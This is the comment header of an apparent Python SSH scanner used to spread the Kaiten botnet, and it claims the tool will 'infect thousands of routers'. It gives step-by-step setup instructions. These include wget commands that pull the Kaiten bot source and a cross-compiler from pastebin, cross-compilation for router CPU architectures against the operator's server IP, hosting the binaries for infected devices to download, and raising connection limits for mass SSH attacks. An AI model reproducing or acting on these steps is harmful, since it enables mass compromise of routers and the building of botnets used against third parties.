Python Router SSH scanner

#~SynthMesc
#Lightaidra sucked, so here's kaiten v 6.6.6 - will infect thousands of routers.
# To setup, follow the instructions
#Download kaiten.c from http://pastebin.com/7Spas23P
#-wget http://pastebin.com/raw/7Spas23P -O kaiten.c
#scannee and bot modified by SynthMesc/Freak :D
#kaiten.c (I didn't create kaiten)
#Cross compile it to sh4, powerpc, mipsel, mips, and armv5l.
#Use this cross compiler (coded by yours truly): http://pastebin.com/87q15NWF
#-wget http://pastebin.com/raw/87q15NWF -O cc7.py
#-python cc7.py kaiten.c 0.0.0.0
#Where 0.0.0.0 is your servers IP
#Put the files in your htdocs directory of a server to host them.
#Now install the dependencies
#-yum install python-paramiko
#Or
#-apt-get install python-paramiko
#Remember to edit the wget line (CTRL + F "bin.sh")
#Set some stuff on your servers so you don't get capped at 476 open SSH connections.
#-ulimit -n 99999
